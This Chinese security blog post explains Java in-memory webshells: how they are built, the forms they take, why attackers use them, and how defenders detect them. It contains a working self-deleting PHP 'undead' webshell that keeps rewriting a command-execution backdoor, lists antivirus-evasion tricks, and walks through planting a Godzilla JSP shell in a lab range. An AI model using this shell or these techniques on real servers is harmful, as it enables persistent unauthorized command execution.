Java内存马使用
本文最后更新于 2024-09-05,文章内容可能已经过时。
Java内存马详解与实战使用
前置知识:
Java Web三大组件
Servlet
Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。
Filter
Filter也称之为过滤器,可以动态地修改HttpServletRequest,HttpServletResponse中的头和数据。
Listener
Listener也称之为监听器,可以监听Application、Session和Request对象的创建、销毁事件,以及监听对其中添加、修改、删除属性事件,并自动执行自定义的功能。
一、什么是Java Agent内存马?
传统的 Webshell 后门,无论如何花费心思隐藏、如何变化,在现有的防御措施下都已经无法有效长期在目标系统内存留,防御措施简单列举:
- 对于终端安全:有文件监控、防篡改、EDR;
- 对于后门:有 Webshell 查杀、流量监测;
- 对于网络层面:有防火墙防止反连、反向代理系统隐藏真实 IP;
- 等等。
目前主流的防御措施针对 Webshell 的静态检出率在 90% 以上,在部分环境下甚至完全无法落地,防御方可以做到快速应急响应。正因为这些限制,内存马技术得以诞生并快速发展,无文件攻击、内存 Webshell、进程注入等基于内存的攻击手段也受到了越来越多的师傅青睐,在实战环境中已占得一席之地。可以毫不夸张的说,内存马相关技术将会是未来渗透工程师必须要会使用的安全技术。
(简单点来说就是无文件的webshell,传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,但是Webshell内存马是无文件木马,是利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度)
Java Agent 内存马攻击是一种利用 Java Agent 动态修改字节码的方式,向目标 JVM 注入恶意代码,从而实现攻击的方式。
1、Java Agent(Java 内存马)
Java Agent 是什么?
Java Agent是Java平台提供的一种特殊机制,它允许开发者 在Java应用程序 (被jvm加载 / 正在被jvm运行) 时 注入我们指定的字节码。这种技术被广泛应用于 功能增强
、监控
、性能分析
、调试
、信息收集
等多种场景 , Java Agent 依赖于 instrument 这个特殊的 JVMTIAgent(Linux下对应的动态库是libinstrument.so),还有个别名叫JPLISAgent(Java Programming Language Instrumentation Services Agent),专门为Java语言编写的插桩服务提供支持的, Java Agent有两种加载时机,分别是:
- 动态加载:即 在JVM运行应用程序时任意时刻加载,在JVM运行时加载Agent,这通常通过使用JDK的Attach API实现(本质上是使用unix套接字实现了同一机器不同进程间的通信)。这要求Agent实现
agentmain
方法,该方法可以在java应用程序运行过程中任意时刻被调用。具体实现方式文字描述(后边我们会演示通过代码方式如何实现): - 静态加载:即 JVM启动时加载,在JVM启动时通过命令行参数
-javaagent:path/to/youragent.jar
指定Agent的 jar包。这要求Agent的入口类(即agent.jar包中的META-INF->MAINIFEST.MF文件中的Premain-Class
对应的类)实现premain
方法,该方法会在应用程序的main
方法之前执行。这一机制使得我们可以修改应用程序的类或执行其他初始化任务,这种机制对于性能监控
、代码分析
、审计
或增强
等场景非常有用。
2、JVMTI(回调接口机制)
何为JVMTI?
JVMTI全称:(Java Virtual Machine Tool Interface) ,简单来说就是jvm暴露出来的一些供用户扩展的回调接口集合,有一点我们要知道,JVMTI是基于事件驱动的,JVM每执行到一定的逻辑就会调用一些事件对应的回调接口。而通过这个回调机制,我们实际上就可以 实现与JVM 的 “互动”
。可不要小看这个回调机制,他是n多个框架的底层依赖,没有这个JVMTI回调机制,这些框架也许不能诞生或者需要使用其他更复杂的技术。
二、内存马的形式
目前分为三种:
Servlet-API型
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如tomcat的valve内存马
- filter型
- servlet型
- listener型
字节码增强型
通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。
spring类
- 拦截器
- Controller型
- 传统 Web 应用型内存马:使用基本 Servlet-API 实现的动态注册内存马,此种类型的内存马最经典,已经被扩展至适应各个中间件。
- 框架型内存马:除了传统的 Servlet 项目,使用 Spring 全家桶进行开发的项目越来越多,而
Spring-MVC
则是自实现了相关路由注册查找逻辑,以及使用拦截器来进行过滤,思想上与Servlet-Filter
的设计类似。 - 中间件型内存马:在中间件的很多功能实现上,因为采用了类似 Filter-
FilterChain
的职责链模式,可以被用来做内存马,由于行业对 Tomcat 的研究较多,因此大多数的技术实现和探究是针对 Tomcat 的,但其他中间件也有相当多的探究空间。 - 其他内存马:还有一些其他非常规的利用思路,可以用在内存马的实现上,例如 WebSocket 协议等。
- Agent 型内存马:利用 Java Agent 技术进行植入内存马逻辑的实现方式。
额外补充:PHP内存马(php不死马)
PHP内存马即PHP不死马,会无限在指定目录中生成webshell文件:
不死马.php -> 上传到server -> 执行不死马.php -> 循环生成一句话木马
<?php set_time_limit(0); ignore_user_abort(1); unlink(__FILE__); $content = '<?php @system($_GET["log"]); ?>'; while (1) { if(!file_exists("log.php")){ file_put_contents("log.php", $content); } usleep(10000); } ?>
ignore_user_abort(1);
该函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。set_time_limit(0);
函数限制脚本的执行时间(如设置5则需在5秒内执行完)。这里设置为0是指没有时间限制。unlink(__FILE__);
删除文件本身免杀:字符串拼接、旋转、加密解密、自定义函数、异或操作、生成隐藏文件
三、内存马使用场景
使用场景,也是优点:
- 禁止外部连接,不能反弹shell只能正向木马的情况。由于网络原因不能反弹 shell 的
- 服务器上有防篡改、目录监控等防御措施,禁止写入文件的情况
- 不支持.jsp的文件解析的情况
- 内部主机通过反向代理暴露 Web 端口的
- 服务器上有其他监控手段,写马后会告警监控,人工响应的
- 服务使用 Springboot 等框架,无法解析传统 Webshell
内存马的缺点:
- 服务重启后会失效;
- 对于传统内存马,存在的位置相对固定,已经有相关的查杀技术可以检出
四、如何实现内存马的注入?
目标:注入内存马后,访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果
实现:以java为例,客户端发起的web请求会依次经过Listener
、Filter
、Servlet
三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。
一些优秀的java内存马注入和利用工具:
tomcat内存马:(拿来即用的Tomcat7/8/9/10版本Listener/Filter/Servlet内存马,支持注入CMD内存马和冰蝎内存马)
java-memshell-generator(一款支持高度自定义的 Java 内存马生成工具)
五、实战Java内存马使用
环境部署
kali:192.168.91.129
centos7 :192.168.91.128 (部署lampp靶场环境)
哥斯拉工具:https://github.com/BeichenDream/Godzilla
命令行启动哥斯拉: java -jar godzilla.java
点击管理->生成:
密码和密钥使用默认,选择JAVA,如下:
启动lampp的靶场 ,选择任意文件上传
把生成的2.jsp木马传到靶场
(这里记得把/secenvs/dorabox/file_upload/upload/设置权限)
http://192.168.91.128/secenvs/dorabox/file_upload/upload/2.jsp
选择目标->添加。
右键选中添加即可
选中shell右键选择进入即可进入shell管理页面
防御
- 限制 Java Agent 的使用:限制 Java Agent 的使用权限,只允许可信的 Java Agent 运行。可以通过设置 JVM 参数
-javaagent
的值来限制 Java Agent 的使用,只接受指定的 Java Agent,或只允许在特定目录下的 Java Agent 运行。 - 使用安全的 Java Agent:使用经过安全审计的 Java Agent,避免使用来自不可信来源的 Java Agent。同时,可以对 Java Agent 进行数字签名和校验,确保 Java Agent 的完整性和可信性。
- 加强 JVM 安全性:通过限制 Java Agent 修改的字节码范围,限制 Java Agent 对 JVM 的操作权限,加强 JVM 的安全性。
- 定期检查和审计 Java Agent:定期检查和审计 Java Agent,确保 Java Agent 的安全性和合规性。同时,及时更新和升级 Java Agent,避免存在已知的漏洞和安全问题。
- 安装安全软件:安装安全软件,如杀毒软件、安全防火墙等,及时发现并阻止恶意代码的运行。
文件查杀
河马webshell查杀 HmSetup.exe
内存马检测思路
思路:
1、通过Java应用的接口,获取tomcat JVM里面加载的
类
2、遍历所有类,判断是否为风险类
1)内存注册,但是磁盘没有文件
2)class文件里面包含恶意内容
1、cop.jar
https://github.com/LandGrey/copagent
2、Arthas
https://github.com/alibaba/arthas
3、(java-memshell-scanner)通过jsp脚本扫描并查杀各类中间件内存马:
https://github.com/c0ny1/java-memshell-scanner
参考文章
Shell中的幽灵王者—JAVAWEB 内存马 【认知篇】:
https://zhuanlan.zhihu.com/p/590645237
Goby 利用内存马中的一些技术细节【技术篇】:
https://zhuanlan.zhihu.com/p/617733292
【入门到精通一口气学Java内存马】 :https://www.bilibili.com/video/BV1Rr42137XD/?p=6&share_source=copy_web&vd_source=81230f0706257e716e48fbf61f7e0bff
【内存马的形式】:https://cloud.tencent.com/developer/article/1763980
【内存马的攻防博弈之旅】:https://cloud.tencent.com/developer/article/1955132
- 感谢你赐予我前进的力量